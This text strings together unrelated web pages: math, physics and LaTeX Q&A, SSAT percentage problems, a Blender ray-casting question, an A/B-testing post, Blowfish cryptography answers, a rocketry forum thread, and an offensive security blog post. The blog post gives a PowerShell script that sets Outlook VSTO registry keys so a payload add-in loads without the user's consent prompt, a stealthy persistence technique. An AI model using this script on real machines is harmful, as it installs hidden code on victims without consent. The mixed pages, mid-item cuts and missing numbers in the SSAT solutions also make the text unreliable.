'18 at 10:26 Since $|a_k|$ decreases monotonically, and $a_k \to 0$, you can conclude that $\sum a_k$ converges, by the alternating series test. Now, we say that a series $\sum a_k$ coverges absolutely if $\sum |a_k|$ converges. But as you show, $\sum |a_k|$ doesn't converge, so we have a conditionally convergent series, one that converges, but not absolutely.

# SSAT Middle Level Math : Percentage ## Example Questions ### Example Question #1351 : Numbers And Operations 32% of cats are orange. The rest of the cats are grey. There are 300 cats. How many are grey? Explanation: First, we need to determine the percentage of cats that are grey. To do this, we subtract . Therefore, 68% of cats are grey. The quick estimation method allows us to compute this problem quickly and save time on later questions. To begin, we need to determine 10% of the total amount of cats. In order to find 10% of a number, simply move the decimal point one place to the left. So, 10% of 300 cats is 30 cats. We want to determine how many cats constitute 68% of the total amount of cats. 68% can be rounded to 70% in order to estimate and find the closest answer choice. 70% is 7 times 10% so all we need to do is multiply 10% (30 cats) by 7. Therefore, are orange. Now, look at the answer choices and choose the one closest to your estimation. Keep in mind that we over estimated, so the answer you choose should be slightly less. ### Example Question #21 : Percentage There are 1000 birds. 68% of the birds are green. How many birds are green? Explanation: One way to solve this problem is to use cross multiplication. So in order to determine the number of green birds, set this proportion equal to. Therefore, Cross multiply to get . Now divide both sides of the equation by 100 to get A faster way to solve this problem is to recognize that 100 and 1000 differ by only one decimal place (1000 has an extra zero). Therefore, in order to determine 68% of 1000, simply add an extra zero to 68 and you have 680 birds. ### Example Question #1352 : Numbers And Operations 70% of snacks served at a café are healthy while the rest of the snacks are unhealthy. There are 500 snacks. How many of these snacks are unhealthy? Explanation: First, we need to determine the percentage of snacks that are unhealthy. To do this, we subtract Therefore, 30% of snacks are unhealthy. The quick estimation method allows us to compute this problem quickly and save time on later questions. To begin, we need to determine 10% of the total amount of snacks. In order to find 10% of a number, simply move the decimal point one place to the left. So, 10% of 500 snacks is 50 snacks. We want to determine how many snacks constitute 30% of the total amount of snacks. 30% is 3 times 10% so all we need to do is multiply 10% (50 snacks) by 3. Therefore, are unhealthy. ### Example Question #21 : How To Find The Part From The Whole With Percentage The sales tax for a given city is 8.5%. How much will someone shopping there pay for $139.34 worth of groceries, after tax is figured in? Possible Answers: Correct answer: Explanation: To calculate the tax, multiply 8.5%. or, equivalently, 0.085, by$139.34, rounding to the nearest cent: Add the tax to the price before tax: The amount paid will be \$151.18. ### Example Question #2 : Percentages Exactly  of the plants in a garden are tomato plants.  Which of the following could be the total number of plants in the garden? Explanation: The total number of plants has to be divisible by 3.  Of the answer choices, the only one that is divisible by 3 is 18.  You can check this because numbers that are divisible have the sum of their digits also divisible by 3. For example, which is divisible by 3, so 18 is divisible by 3. ### Example Question #1 : How To Find The Whole From The Part With Percentage 330 is 75% of what number? Explanation: 330 is 75% of a number we will call ; alternatively, 0.75 multiplied by  is equal to 330. Set up this equation and solve for : ### Example Question #2021 : Ssat Middle Level Quantitative (Math) 88 is  % of what number? Explanation: We can rewrite  % as 12.5%. 88 is 12.5% of a number , or, equivalently, 0.125 multiplied by a number  is equal to 88. We can write this as an equation and solve for : ### Example Question #21 : Percentage 32 is  % of what number? Explanation: We can rewrite  % as 2.5%. 32 is 2.5% of a number , or, equivalently, 0.025 multiplied by a number  is equal to 32. We can write this as an equation and solve for : ### Example Question #2 : Percentages To get on the ballot for student body president, a student must turn in a petition with the signatures of 3% of the students. If there are 5,319 students, how many signatures must a student get to be on that ballot? (Nearest whole person) Explanation: 3% of 5,319 can be calculated by multiplying 5,319 by 0.03, the decimal equivalent of 3%: Multiply 5,319 by 3, then move the decimal point so that two digits are to the right: , so Rounded to the nearest whole number, this is 160 signatures. ### Example Question #1 : How To Find The Whole From The Part With Percentage 3,200 is 160% of what number?

# Problem with casting rays from the camera into the scene for each pixel To retrieve information about the objects that lie behind each pixel, I have to cast rays into the scene for each pixel of a rendered frame. My problem is that the ray directions which I calculate are not correct. The eye rays that I generate do not match my image frame vertically (they either start/end outside of it, or too far inside). For example here is the first direction(top left of the image space) that i calculate And here is the last direction (bottom right of the image space) I think that maybe my calculation of the vertical field of view might be off. But so far I have not been able to fix it. #calculates the direction the ray has to take for a u, v coordinate def get_ray_direction(u, v, position, direction, up, right, width, height): #mapping the u and v coordinates into normalised image coordinates x = ((2*u - width)/width) y = ((2*v - height)/height) direction = x * right + y * up + direction + position return direction s = bpy.data.scenes["Scene"] cam = s.camera camData = cam.data view_direction = cam.matrix_world.to_quaternion() * Vector((0.0, 0.0, -1.0)) up = cam.matrix_world.to_quaternion() * Vector((0.0, 1.0, 0.0)) aspect_ratio = s.render.resolution_x / s.render.resolution_y right = mathutils.Vector.cross(view_direction, up) up = up.normalized() right = right.normalized() #For the FOV I have to use the focal length and sensor size as base values #since I will be given these values and have to set the camera accordingly #I took the formula from: http://paulbourke.net/miscellaneous/lens/ fov_v = 2 * math.atan((camData.sensor_height * 0.5) / camData.lens) fov_h = 2 * math.atan((camData.sensor_width * 0.5) / camData.lens) up = up * math.tan(fov_v/2) right = right * math.tan(fov_h/2) height = s.render.resolution_y/1.0 width = s.render.resolution_x/1.0 #Starting top left, going row by row for i in reversed(range(s.render.resolution_y)): for j in range(s.render.resolution_x): dir = get_ray_direction(j, i, pos, view_direction, up, right, width, height) ray_dir = dir * 10000 ray_result = s.ray_cast(cam.location, ray_dir); This is the code that I currently have in total, which contains some debugging stuff like empties that are placed at the ray direction Here is the primary source I used (among others, but I found this one to be most comprehensible) for the generation of eye rays A solution when you render in 3D View. Maybe something in here will be handy for you. This comes from transforming mouse coords to 3d so maybe its a bit more general than you need. Getting camera frame corners in screen space (2d): import bpy from bpy_extras.view3d_utils import location_3d_to_region_2d cam = bpy.context.scene.camera frame = cam.data.view_frame(bpy.context.scene) # Its in local space so transform to global frame = [cam.matrix_world * corner for corner in frame] # Transform into screenspace region = bpy.context.region rv3d = bpy.context.region_data frame_px = [location_3d_to_region_2d(region, rv3d, corner) for corner in frame] Now you know where exactly the camera frame is and how its panned or zoomed etc. Now you can start firing rays from every pixel in that frame like so: from bpy_extras.view3d_utils import region_2d_to_origin_3d from bpy_extras.view3d_utils import region_2d_to_vector_3d def 2d_to_ray(context, point_px): region = context.region rv3d = context.region_data ray_origin = region_2d_to_origin_3d(region, rv3d, point_px) ray_vector = region_2d_to_vector_3d(region, rv3d, point_px) return ray_origin, ray_vector Now you have a ray vector with origin all in global space for every pixel of camera frame. Here is also how to intersect such ray with a plane (I am using a parallel plane to camera view located at 3d cursor): def ray_intersect_plane(plane_normal, plane_point, ray_vector, ray_origin): '''Does not work in Ortho view''' t = plane_normal.dot(plane_point - ray_origin) / normal.dot(ray_vector) return line_point + t*ray_vector # This camera location will work also when there is no camera # It will work for view-port rendering too rv3d = context.region_data cam_loc = rv3d.view_matrix.inverted().translation cam_look_at = rv3d.view_location plane_normal = cam_loc - cam_look_at location = ray_intersect_plane(plane_normal, bpy.context.scene.cursor_location, ray_vector, ray_origin) If you want to know the pixel dimensions of current area (where the mouse is) for the view-port rendering you do it like this: regions = bpy.context.area.regions width = next(region.width for region in regions if region.type=='WINDOW') height = next(region.height for region in regions if region.type=='WINDOW') A solution when you render with F12 Don't transform the camera frame points to 2d space. Use the 3d global frame corners and render resolution to interpolate all the render pixels in 3d space. From camera location and these 3d pixels get your rays. Else is similar.

# Show that $f^*\omega = \det(df) \, dx_1\wedge\cdots\wedge dx_n$ Let $f:\Bbb{R}^n\to \Bbb{R}^n$ be a differentiable map given my $f(x_1,\ldots,x_n)=(y_1,\ldots,y_n)$, and let $$\omega=dy_1\wedge\cdots\wedge dy_n.$$ Show that $$f^*\omega = \det(df) \, dx_1\wedge\cdots\wedge dx_n.$$ We can simplify the left hand side in the following way \begin{align} f^*\omega &= f^*(dy_1)\wedge\cdots\wedge f^*dy_n \\&=d(f^*y_1)\wedge\cdots\wedge d(f^*y_n) \\&=d(y_1\circ f)\wedge\cdots\wedge d(y_n\circ f) \end{align} I'm honestly not sure how to proceed from there. The composition $y_i\circ f$ means first apply $f$ and then to $i$-th component function of $f$, right? I tried using the chain rule but it got confusing. • Use the fact that for a linear map $g: V \to V$ with $\dim V = n$, the induced map on $\Lambda^n V \to \Lambda^n V$ is multiplication by $\det g$ (in fact, this is exactly the definition of the determinant). – anomaly Jul 9 '15 at 17:33 To finish this off you need to write the $d(y_j \circ f)$ in terms of $dx_i$, use linearity of the wedge product, and produce the definition of the determinant. You begin with: $$d(y_j \circ f) = \sum_{i=1}^n \frac{\partial(y_j \circ f)}{\partial x_i} dx_i = \sum_{i=1}^n \frac{\partial f_j}{\partial x_i} dx_i$$ • Thanks. Probably a dumb question, but I don't see why $$\frac{\partial(y_j \circ f)}{\partial x_i} = \frac{\partial f_j}{\partial x_i}$$ is true. Isn't $y_j$ precisely the $j$-th component function of $f$, i.e. $f_j$ ? – iwriteonbananas Jul 11 '15 at 16:44 • But why is $y_j \circ f = f_j \circ f = f_j$? I think I'm missing something obvious. – iwriteonbananas Jul 11 '15 at 17:13 • @iwriteonbananas - I don't know why you think that is being claimed. All the above says is $y_j \circ f = f_j$ which is basically just by definition. – muaddib Jul 11 '15 at 17:16

(English) [J] Math. Sci. Res. J. 8, No. 6, 176-183 (2004). ISSN 1537-5978 Let $H$ be a real Hilbert space with inner product $\langle \cdot, \cdot \rangle$. Let $\xi, \eta$ be elements of $H$, $\rho$ and $\beta$ be positive constants, and $K$ a nonempty closed convex subset of $H$. Let $f, g, N: H \to H$ and $M: H \times H \to H$ be nonlinear mappings with $K \subset g(H)$. The paper is concerned with the following problem: find $x, y \in H$ such that $f(x), g(y) \in K$ and $\langle \rho(M(x, g(y))-\xi)+f(x)-g(y), v-f(x) \rangle \geq 0$, $\langle \beta(N(x)-\eta)+g(y)-f(x), v-g(y) \rangle \geq 0$, $\forall v \in K$.

# Spacing of Formula Gets Weird with an Underbrace on One of the Terms So, I just needed an underbrace in a formula in a Beamer presentation and ended up with some weird spacing between the two plus signs. Any clues how to fix? I looked online already for solutions but haven't found one. Here's the code: \begin{block}{Second stage:} \centering $Y_i = \beta_0 + \beta_1 \widehat{D_i}+ \underbrace{\delta(score_i)}_\text{\parbox{4cm}{\centering Continuous\\[-4pt] function}}+\epsilon_i$ \end{block} And here's how it looks. • With \parbox{4cm} you are requesting 4cm of horizontal space and that is what you get. – Henri Menke Feb 25 at 23:00 You could use \substack. \documentclass{beamer} \usepackage{amsmath} \begin{document} \begin{frame} \begin{block}{Second stage:} \begin{equation*} Y_i = \beta_0 + \beta_1 \hat{D}_i + \underbrace{\delta(\text{score}_i)}_{\substack{\text{Continuous} \\ \text{function}}} + \epsilon_i \end{equation*} \end{block} \end{frame} \end{document}

# What’s behind A/B tests Well often I’m asked how an A/B test work. So my first saying, which is the most important thing that I’m going to mention here, is: A/B test is not a simple comparison of frequencies. So don’t ever use the terminology A/B test when you are just comparing 2 numbers, like EVER. Now that we drew the line let’s go back to the post. There are several tools around (most of them being embedded in your web BI solution like Adwords, Adobe Site Catalyst, etc), but in fact you don’t really get to understand how it’s calculated. So here I’ll show (and share in my github account) some methods to do A/B tests. Using R Because I don’t have any real life data that I can share, I’m going to use the ToothGrowth dataset from R (please find more details about the dataset here). Basically they treated 60 guinea pigs with 6 variations of treatment and they collected the size of their teeth after a while. Now we are interested in understanding what’s the best treatment. We can bring this example to any kind of industry that is not medical/health related. For example, let’s say you are running a campaign for sofas and for that you’re using 2 different digital channels: Facebook and Display. But you decided to have 3 types of campaign: a small banner, a big banner and a flash animation. Then you gave 6 variations of treatment just like our guinea pig example. So going back to our dataset. We have 2 delivery method for vitamin C (Acid Ascorbic and Orange Juice) and 3 different doses – 0.5mg, 1mg, 2mg. This is the reason for the 6 variation. To make it easier (and possible see more in here), we are assuming the the whole dataset has normal distribution. So first, let’s find out if there’s difference between the delivery methods. It’s always a good idea to check the stats for A/B sample, like mean and variance. You can find these stats on the bottom of this page So the first question: is there a difference between guinea pigs that took ascorbic acid and those that took orange juice? $$H_0$$ Null Hypothesis: $$\mu_{orange juice}$$ = $$\mu_{ascorbi cacid}$$ or $$\mu_{orange juice} – \mu_{ascorbi cacid} =0$$ $$H_1$$ Alternative Hypothesis: $$\mu_{orangejuice} \neq \mu_{ascorbic acid}$$ or $$\mu_{orange juice} – \mu_{ascorbi cacid} \neq 0$$ So in most of the cases, we use the p-value as a comparison for our test. Being higher than 0.05 considered high. If you’re not familiar with the concept of p-value, please check here. The calculation behind the test is considering our null hypothesis true, what’s the probability of having an extreme value outside of standard variation? Basically we create a new variable called $$OrangeJuice-AscorbicAcid$$ that has mean as: $$\mu_{orangejuice} – \mu_{ascorbi cacid}$$ and variance as $$\frac{S_{orange juice}^2}{n_{orange juice}}+\frac{S_{ascorbic acid}^2}{n_{ascorbic acid}}$$ In a gross way explaining, the number you should calculate is $$\frac{\bar{X}_{orange juice} – \bar{X}_{acid ascorbic}}{\sqrt{\frac{S_{orange juice}^2}{n_{orange juice}}+\frac{S_{ascorbic acid}^2}{n_{ascorbic acid}}}}$$ That has T-distribution if $$n_{orange juice} + n_{acid ascorbic} < 40$$ and Normal distribution otherwise. Back to our test, first we filter the variables by Ascorbic Acid (VC) and orange juice (OJ) vc_subset oj_subset then we can apply the t-test t.test(vc_subset$len, oj_subset$len) Which results into P-value is higher than 5% so we decide against the null hypothesis. The rest of this dataset analysis you can see in the github repository that I shared in the bottom of this post. Now assuming we have 2 campaign running using different templates. For the first campaign the click through was 25% and for second one the click through was 40%. It’s hard to tell with only these two piece of information if there’s difference between the campaign. For example, let’s say that the first campaign we have 100 people seeing it, while the second one only 10. Even having a much higher click through rate, the second campaign has a very low number of impressions and it’s hard to say if there’s difference between them. In the chart below you can see that we have to show to at least 55 people keeping the 40% to say that the there’s difference between the samples. And at least 40 to conclude that the campaign 2 is better than the campaign 1. Currently there are several links that can be used to do an A/B test, such as: • https://vwo.com/ab-split-test-significance-calculator/ • http://www.hubspot.com/ab-test-calculator

# Tag Info 15 Blowfish has strong points regarding speed because bulk encryption (and decryption) reduce to an alternation of: a 8->32-bit table lookup, and one or two 32-bit operations (addition or XOR). That structure is very well suited to 32-bit CPUs with a short pipeline and a fast cache of at least 4 kByte; and is well suited for a straight C implementation, which ... 9 Using EAX with a 64-bit block cipher is problematic, because the short block size causes some weaknesses due to internal collisions. I do not recommend it. Use a 128-bit block cipher. Indeed, the world has moved away from 3DES and towards AES exactly because of these fundamental problems with a 64-bit block size: the internal collision effect means that, ... 8 bcrypt uses Blowfish, which is a block cipher (albeit with a much enlarged key schedule). As such, Blowfish implements a permutation of the space of 64-bit blocks; and there should be no way to distinguish Blowfish (using a random key) from a permutation extracted at random, with uniform probability, from the set of permutations over 64-bit blocks (there are ... 6 Thomas mentioned some "theoretical weaknesses" that can happen with $2^{32}$ blocks of data with CBC mode and an 8 byte block cipher; I will explore more about what that weakness is, and its practical relevance. In CBC mode, we effectively send randomized data through the block cipher. However, there is a chance that it happens to encrypt the exact same ... 5 Both 3DES and Blowfish are from the same pre-2000 era. They both offer adequate security, in the sense of "have been around for some time, no known weakness". Yet, they also both operate on 64-bit blocks. This implies some issues when you begin to encrypt more than about $2^{32}$ blocks of data -- that's 32 gigabytes, a somewhat large but not at all huge ... 4 There seem to be some errors or inconsistencies in the question. If $P \oplus P' = [0000\delta 000]$, and we use the 2-round structure shown in the picture, then the corresponding ciphertext pairs should satisfy $C \oplus C' = [xyzt\delta000]$. This is different from what you wrote (did you omit the final swap shown in the picture above?). If we let ... 4 If you use CBC mode and your communication protocol looks like SSL, then you may have trouble. In SSL 3.0 and TLS 1.0, the IV for each record is the last block from the previous IV; this implies that an attacker who can both inject some data of his own in the stream, and observe the outcome, may know the IV for the next record and choose his data ... 4 Of those you listed, AES is the best to study. Not only is it the standard that is used everywhere, it has a huge literature of people explaining it and analyzing it, far larger than any of the others on your list. Also, compared to the others on your list it is easier to understand why AES strongly resists certain major classes of attack (like linear and ... 4 First, it is important to learn the basics behind all symmetric ciphers. You can get this from Handbook of Applied Cryptography, see Chapter 7, especially 7.1, 7.2, 7.3. If you understand those three sections, you will be off on the right foot. From there, I would suggest just diving right into AES. It isn't that terribly difficult (yes, there are easier ... 3 The quoted passage of the Wikipedia article is wrong does not at first reading seem to match Blowfish as in Bruce Schneier's Description of a new variable-length key, 64-bit block cipher (Blowfish) (in proceedings of the first FSE conference, held Dec. 1993) which for this same operation reads: XOR P1 with the first 32 bits of the key, XOR P2 with the ... 3 If there was a full 64-bit block of known plaintext, there would be a very fast attack using precomputation. You can build a precomputed table of all $2^{40}$ ciphertexts. Once you've got the precomputed table, recovering a key (given a ciphertext) would require just a single lookup in the table, so recovering a key would be extremely fast. Storing that ... 3 One method of doing this would be to construct a Feistel network using the n-bit blockcipher as a round function. A drawback of this approach is that because you're using a blockcipher (a pseudo-random permutation) in place of a pseudo-random function, you are almost immediately limited to being secure to only $q \ll 2^{n/2}$ queries as a result of the ... 3 An important property of a ciphertext is that it has to be indistinguishable from truly random data. This allows the encryption cipher to produce ciphertext that reveals no information about the plaintext (other than size) or the encryption key. In fact, this property even allows encryption algorithms to act as pseudorandom byte generators by simply making ... 3 I didn't find anything about the exact way Crashplan encrypts files, only that it uses Blowfish in CBC mode. The block size of Blowfish is 64 bit, so there are $2^{64}$ different input blocks and the same number of output blocks. All in all $147573953$ terabytes of different output data. The problem with this is the birthday attack. Summarized it says that ... 3 Triple DES has 168 bit keys, but due to the meet-in-the-middle attack only provides 112 bits of security. Blowfish supports up to 448-bit security. As neither cipher has published practical weaknesses, you are best off looking at key sizes to help you judge strength. Given that, if strength of cipher is your only metric in deciding which cipher to use, it ... 2 It is not really clear what you propose instead of the original algorithm - using ExpandKey(state, salt, key) instead of ExpandKey(state, 0, key)? What about the second call ExpandKey(state, 0, salt)?. You are right, each ExpandKey(state, 0, xxx) contains one XOR-ing of xxx into the P-array, and then Blowfish-encrypting multiple 64-bit blocks of zeros – in ... 2 A problem with your proposed solution is that the digest of the password is now "password equivalent". So, what does hashing it before sending it gain you? That said, I don't think either of your concerns are concerning (or should be concerning). For the first, see this. If anything, most passwords will have less than 256 bits of entropy anyways. For ... 2 Blowfish has a 64-bit block size whereas AES has a 128-bit block size, so you are sort of comparing apples and oranges (there are some things you can do in AES which would be unwise in Blowfish, in particular Blowfish in CTR mode can be distinguished from a random stream after only a few dozen gigabytes of output - see fgrieu's answer here, replacing 128 by ... 2 The same way other ciphers, basically, only it does it better than some. From the Blowfish paper these were the relevant building blocks "demonstrated to produce strong ciphers" in previous designs: "Large S-boxes. Larger S-boxes are more resistant to differential cryptanalysis." "Key-dependent S-boxes. While fixed S-boxes must be designed to be resistant ... 2 CMAC (or OMAC1) is the underlying MAC algorithm that provides authentication and integrity for EAX. Is stated in NIST SP 800-38B: Because CMAC is based on an approved symmetric key block cipher, such as the Advanced Encryption Standard (AES) algorithm that is specified in Federal Information Processing Standard (FIPS) Pub. 197 [3], CMAC can be ... 2 Because I didn't get any answer, I did some experments with Blowfish's F function and here are my observations: Because Blowfish's F function is not bijective, on average only every second value is returned and therefore different input can output same value (F(x) = F(y)). By reducing number of S-boxes this non-bijectivity becomes even worse. About 8 to 32 ... 2 One option is to encipher each number as follows: concatenate one 0 bit, the index for the number to encipher (or a random value) on 31 bits, and the 32-bit number to encipher, to form a 64 bit value with the leftmost bit at 0 encipher with blowfish (and a fixed secret key) if the leftmost bit of the result is set, loop to 2 output the 64-bit result (which ... 2 You say I have never studied a cipher before In that case I would recommend the following: Sign up for the Stanford online class on Cryptography on Coursera. This is a great introduction to Cryptography and this will conver block ciphers. Get a library card with your local public library and ask them to get some textbooks on Cryptography for you. ... 2 The -bf-ecb cipher is expanding the key to 128 bits by zero extending it. The output from -p is the telltale here: $openssl enc -bf-ecb -e -in plaintext.txt -out ciphertext.txt -nosalt -K FFFFFFFFFFFFFFFF -p key=FFFFFFFFFFFFFFFF0000000000000000 Blowfish is defined for 32-448 bit keys, and it appears the OpenSSL implementation chose 128 bits as the size ... 2 You are correct in that after the birthday bound you will leak some plaintext in random 8-byte blocks. Nova's answer has the specifics and links to useful sources. To give you a rough idea of the risk, you can look at what percentage of the data could leak. 10 TB is about$2^{40}$blocks. The expected number of collisions is$2^k (1-(1-2^{-n})^{2^k-1})\$, ... 1 No, the most you can do is to compare ciphertext blocks for equality and link those blocks with identical plaintext. That ECB is used does not hurt the security of Blowfish by itself. Block ciphers should not be vulnerable to known plaintext attacks, and there seems to be no known attack on Blowfish in this regard. To state it a bit more formally: that ECB ... 1 Regarding your brute-force Blowfish attack: I believe I may be familiar with the protection scheme you describe. It turns out that it may be even more broken that you'd expect from the description, in that a) the actual keyspace may be rather more limited than 40 bits and b) the author may not have been terribly aware of the consequences of using the ... 1 This may sound crazy and absurd, but it seems that this scheme is simply broken: on encryption, the last block is somehow padded (the exact method is not really relevant, but perhaps the trailing bytes of penultimate plaintext block are copied) and encrypted, then finally ciphertext is trimmed to match plaintext size; on decryption, the same buffer is ... 1 Yes. Blowfish's S-boxes serve a similar purpose as AES's S-box. The P-array is used as part of the key schedule, to make sure that each round is different (this helps prevents slide attacks and related-key attacks). I recommend you read the official specification of Blowfish and Wikipedia's article on Blowfish for more about the design rationale for ... 1 Something similar as what you suggest is already known as "Expensive key schedule Blowfish", or "EksBlowfish". It is the encryption algorithm in the core of Bcrypt (a slow hash function designed for password hashing). It also incorporates a salt, and its setup function is like this (retyped from the paper): EksBlowfishSetup(cost, salt, key): state ← ...

# Sources of historical cross-country government debt to GDP data I am looking for a source containing debt (government debt) to GDP data of different governments. Do you know of any reliable sources with data going back as far as possible (at least 1960s)? ## 1 Answer Using the World Bank's International Debt Statistics you could calculate the ratio of PPG, bonds (AMT, current US\$) to GNI (current US\$): PPG, bonds (AMT, current US\$): Public and publicly guaranteed debt from bonds that are either publicly issued or privately placed. Data are in current U.S. dollars. GNI (current US\$): GNI (formerly GNP) is the sum of value added by all resident producers plus any product taxes (less subsidies) not included in the valuation of output plus net receipts of primary income (compensation of employees and property income) from abroad. Data are in current U.S. dollars. These data go back to 1970's for some countries, but the data only covers 1970-2013. The OECD numbers go back to 2000 but are even easier to work with. You can link right to them. For some rich countries the data go back quite a bit farther (like G7 countries like the UK, France, and the USA). For a large panel of countries. I don't know of sources better than the World Bank and the OECD. You could check the IMF data page but all I found were links back to the World Bank data. • Thank you. These were the sources I checked first as well, but the data was unfortunately lacking. If there is nothing easier I will indeed use the WB's data and some GDP panel. – Tony Feb 1 '15 at 23:43

# An Outlook parasite for stealth persistence - 5 mins In 2019 I was researching new “stealthy” persistence techniques that were not yet published or commonly known. I was triggered by the techniques that (mis)used plugins for programs on the target’s machine. Particularly interesting targets are browsers, e-mail clients and messaging apps, as they’re typically started after boot. While reading other’s work, I stumbled upon a blog post from @bohops about VSTOs: The Payload Installer That Probably Defeats Your Application Whitelisting Rules. He shows how to create an “evil VSTO” and install it into Office. His conclusion there however, is that an unprivileged account will get a (“ClickOnce”) pop-up from vstoinstaller.exe asking the user for permission: Bypassing this “ClickOnce” pop-up would be very valuable from an attacker perspective and so I decided to dig a bit deeper into how exactly vstoinstaller.exe installs a VSTO add-in. I fired up Procmon and filtered on vstoinstaller.exe process while clicking through this pop-up. I started by looking at the registry keys in HKCU, since I assumed that would be a key part of the installation. These registry keys were particularly interesting and seemed very much related to the installation of the VSTO. I uninstalled the plugin again using vstoinstaller.exe /uninstall which removed those particular registry keys. Installing the VSTO again using the conventional method triggers the pop-up again, so I was assuming the uninstallation performed a complete roll-back of the VSTO install. Next I wrote a PowerShell script that set the correct registry keys and values to test if my Outlook add-in would be loaded by Outlook, without any user consent pop-ups. I think the trick of bypassing the “ClickOnce” pop-up eventually boils down to adding the public key of the certificate used to sign the VSTO with, in HKCU:\Software\Microsoft\VSTO\Security\Inclusion\. <# .SYNOPSIS Author: @_vivami The path of the DLL and manifest files .EXAMPLE #> [CmdletBinding()] param( [Parameter(Mandatory=$true)] [string]$PayloadPath ) $RegistryPaths = @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"), @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata"), @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"), @("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a")$RegistryPaths | foreach { if(-Not (Test-Path ($_))) { try { New-Item -Path$($_) -Force | Out-Null } catch { Write-Error "Failed to set entry$($_)." } } }$RegistryKeys = @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "Manifest", "file:///$PayloadPath"), @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata", "(Default)", ""), @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata", "file:///$PayloadPath", "{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"), @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "compatibleFrameworks", "<compatibleFrameworks xmlns="urn:schemas-microsoft-com:clickonce.v2">nt<framework targetVersion="4.0" profile="Full" supportedRuntime="4.0.30319" />nt</compatibleFrameworks>"), @("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a", "Url", "file:///$PayloadPath"), @("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a", "PublicKey", "<RSAKeyValue><Modulus>yDCewQWG8XGHpxD57nrwp+EZInIMenUDOXwCFNAyKLzytOjC/H9GeYPnn0PoRSzwvQ5gAfb9goKlN3fUrncFJE8QAOuX+pqhnchgJDi4IkN7TDhatd/o8X8O5v0DBoqBVQF8Tz60DpcH55evKNRPylvD/8EG/YuWVylSwk8v5xU=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>") foreach ($KeyPair in $RegistryKeys) { New-ItemProperty -Path$KeyPair[0] -Name $KeyPair[1] -Value$KeyPair[2] -PropertyType "String" -Force | Out-Null } Write-Host "Done." } <# .SYNOPSIS Author: @_vivami .EXAMPLE #> $RegistryPaths = @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"), @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata"), #@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"), @("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a")$RegistryPaths | foreach { Remove-Item -Path $($_) -Force -Recurse } } Sure enough, it worked!

# Performance Rocketry Intimidator 4 ### Help Support The Rocketry Forum: #### tastychicken ##### Member Does anyone on here have pictures of a performance rocketry Intimidator 4? I'm looking to build a new rocket and the Intimidator 4 and the Mad dog dual deploy have caught my eye and i'm trying to decide which to get. So any pictures would help. Thanks! #### Pantherjon ##### Well-Known Member Well, I presume you want pictures of rockets that people have built? If so, disregard the pictures below..However, there they are the Mad Dog DD and the Intimidator 4..They are essentially the same, minor changes in the fin shape is all I can really detect..And the Intimidator is 75mm vs 54mm for the Mad Dog.. As a personal choice I would go with the Mad Dog DD..It is $30 cheaper, plus I don't have any 75mm hardware- yeah I could adapt down to 54mm..BTW, I am basing off prices listed at Wildman and Liberty Launch Systems Last edited: #### tastychicken ##### Member Well, I presume you want pictures of rockets that people have built?

That was a sweet flight that landed so softly near the pad. Beatiful finish on that rocket; nice looking bird! -Eric- #### tastychicken ##### Member Awesome. Thanks for the pictures everyone. What how heavy are your Mad Dog DD/Intimidators? #### rcktnut ##### Well-Known Member Awesome. Thanks for the pictures everyone. What how heavy are your Mad Dog DD/Intimidators? My Mad Dog weighs 12lb 3oz fully loaded w/o motor. I added 1.5 lbs to the nose cone to keep about a 1.5 stability margin for the biggest motor I can put in it. The tailcone retainer shifted the MMT aft 2 1/2 inches also. I believe no extra weight would be needed if built without the tailcone. #### blackjack2564 ##### Crazy Jim's Gone Banana's TRF Supporter NO added weight is needed for any commercial motor. I 've flown mine over 11,000 on L's no added weight. It was designed that way out of the box. Same for the Intimidator, which is the same as a Comp 4 but for the fin shape, which I have flown on many M's no added weight. The Intimidator should come in ataround 13lbs ready, all but motor. #### tastychicken ##### Member I appreciate your feedback. I think i will go for the Intimidator because i like the larger fin design better. Thanks! Last edited: #### JAllen ##### Well-Known Member In case you're interested, here is a picture of my PR Intimidator 4.

# Lagrangian of Klein Gordon equation Consider the following Lagrangian density $$\mathcal{L}(\Phi,\partial_\mu\Phi)=-\frac{1}{2}\partial_\mu\Phi\partial^\mu\Phi-\frac{m\Phi^2}{2}.$$ I want to calculate the equation of motion using the Euler-Lagrange equation to derive the Klein-Gordon equation. The E-L equation states $$\frac{\partial \mathcal{L}}{\partial\Phi}-\partial_\mu\frac{\partial\mathcal{L}}{\partial\,(\partial_\mu\Phi)}=0$$ So, I calculated $$\frac{\partial\mathcal{L}}{\partial\Phi}=-m^2\Phi$$, and for the other term $$\partial_\mu\frac{\partial\mathcal{L}}{\partial(\partial_\mu\Phi)}=-\frac{1}{2}\partial_\mu\bigg(\frac{\partial}{\partial(\partial_\mu\Phi)}\bigg)\underbrace{(\partial_\nu\Phi g^{\nu\alpha}\partial_\alpha\Phi)}_{\text{New free index, \nu}}=-\frac{1}{2}\partial_\mu g^{\nu \alpha}(\delta^{\mu}_\nu\partial_\alpha\Phi+\delta^\mu_\alpha \partial_\nu\Phi=-\frac{1}{2}\partial_\mu(\partial^\mu\Phi+\partial^\mu\Phi)=-\partial_\mu\partial^\mu\Phi.$$ My question is, is it correct that I have to introduce the free index $$\nu$$, or are there easier ways to do this? • It looks ok. Can you confirm the sign of the kinetic term? What metric are you using? Feb 25 '19 at 19:43 • In your last equation, the last expression follows immediately from the first. Feb 25 '19 at 19:53 • Probably slightly unconventional, but our 